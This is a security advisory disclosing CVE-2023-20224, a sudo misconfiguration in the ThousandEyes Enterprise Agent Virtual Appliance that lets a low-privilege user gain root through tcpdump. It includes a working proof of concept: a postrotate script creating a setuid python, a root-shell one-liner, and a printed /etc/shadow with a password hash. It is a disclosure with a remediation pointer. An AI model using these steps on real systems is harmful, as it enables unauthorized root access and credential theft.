Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation

KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdumpTitle: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdumpAdvisory ID: KL-001-2023-002Publication Date: 2023.08.17Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-002.txt1. Vulnerability Details      Affected Vendor: ThousandEyes      Affected Product: ThousandEyes Enterprise Agent Virtual Appliance      Affected Version: thousandeyes-va-64-18.04 0.218      Platform: Linux / Ubuntu 18.04      CWE Classification: CWE-1395: Dependency on Vulnerable                          Third-Party Component      CVE ID: CVE-2023-202242. Vulnerability Description      An insecure sudo configuration permits a low-privilege user      to run arbitrary commands as root via the 'tcpdump' command      without a password.3. Technical Description      The ThousandEyes Virtual Appliance is distributed with a      restrictive set of commands that can be executed via sudo,      without having to provide the password for the 'thousandeyes'      account. However, the ability to execute tcpdump via sudo is      permitted without requiring the password. The post-rotate      functionality of tcpdump can be used to execute arbitrary      commands on the virtual appliance, allowing a privilege      escalation to root. This is a known privilege escalation      path, but had not been disclosed for the ThousandEyes Virtual      Appliance.        $ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa [email protected]        Welcome to ThousandEyes!        Last login: Tue Jan  3 20:16:37 2023 from 1.3.3.8        thousandeyes@thousandeyes-va:~$ id        uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)        thousandeyes@thousandeyes-va:~$ sudo -l        Matching Defaults entries for thousandeyes on thousandeyes-va:            env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin        User thousandeyes may run the following commands on thousandeyes-va:            (ALL : ALL) ALL            (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop                te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart                te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,                /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install                te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*            (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump      Here we see that tcpdump is available as root with no password,      and no restrictions on the arguments it can be passed.      Prepare a malicious script, then have tcpdump execute it as a      postrotate command. Note, this needs to be more than simply      a setuid copy of bash as it will drop privs if UID!=EUID, but      python will not.        thousandeyes@thousandeyes-va:~$ cat /tmp/x4        COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'        TF=$(mktemp)        echo "$COMMAND" > $TF        chmod +x $TF        sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root        thousandeyes@thousandeyes-va:~$ cat /tmp/runme4        /python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'        thousandeyes@thousandeyes-va:~$ /tmp/x4        dropped privs to root        tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes      In another ssh session as the 'thousandeyes' user, execute      'ping -c 1 127.0.0.1' to trigger tcpdump rotation:        Maximum file limit reached: 1        1 packet captured        4 packets received by filter        0 packets dropped by kernel      Execute the setuid python which then launches a shell:        thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4        # id        uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)        # bash        root@thousandeyes-va:~# id        uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)        root@thousandeyes-va:~# cat /etc/shadow        root:!:19145:0:99999:7:::        daemon:!*:18885:0:99999:7:::        bin:!*:18885:0:99999:7:::        sys:!*:18885:0:99999:7:::        sync:!*:18885:0:99999:7:::        games:!*:18885:0:99999:7:::        man:!*:18885:0:99999:7:::        lp:!*:18885:0:99999:7:::        mail:!*:18885:0:99999:7:::        news:!*:18885:0:99999:7:::        uucp:!*:18885:0:99999:7:::        proxy:!*:18885:0:99999:7:::        www-data:!*:18885:0:99999:7:::        backup:!*:18885:0:99999:7:::        list:!*:18885:0:99999:7:::        irc:!*:18885:0:99999:7:::        gnats:!*:18885:0:99999:7:::        nobody:*:18885:0:99999:7:::        systemd-network:!*:18885:0:99999:7:::        systemd-resolve:!*:18885:0:99999:7:::        syslog:!*:18885:0:99999:7:::        messagebus:!*:18885:0:99999:7:::        _apt:!*:18885:0:99999:7:::thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::        rdnssd:!*:19146:7:99999:30:::        browserbot:!:19146::::::        cntlm:!*:19146:7:99999:30:::        sshd:!*:19146:7:99999:30:::        root@thousandeyes-va:~#4. Mitigation and Remediation Recommendation      The vendor has released a version which remediates the described      vulnerability. Release notes are available at:https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb35. Credit      This vulnerability was discovered by Jim Becher of      KoreLogic, Inc.6. Disclosure Timeline      2023.04.26 - KoreLogic submits vulnerability details to Cisco.      2023.04.26 - Cisco acknowledges receipt and the intention to                   investigate.      2023.05.04 - Cisco notifies KoreLogic that a remediation for this                   vulnerability is expected to be available within                   90 days.      2023.06.30 - 45 business days have elapsed since KoreLogic reported                   this vulnerability to the vendor.      2023.07.11 - Cisco informs KoreLogic that the issue has been                   remediated in the latest ThousandEyes Virtual                   Appliance and a public advisory will be released                   2023.08.16.      2023.07.24 - 60 business days have elapsed since KoreLogic reported                   this vulnerability to the vendor.      2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to                   track this vulnerability.      2023.08.16 - Cisco public acknowledgement.      2023.08.17 - KoreLogic public disclosure.7. Proof of Concept      See 3. Technical Description.The contents of this advisory are copyright(c) 2023KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt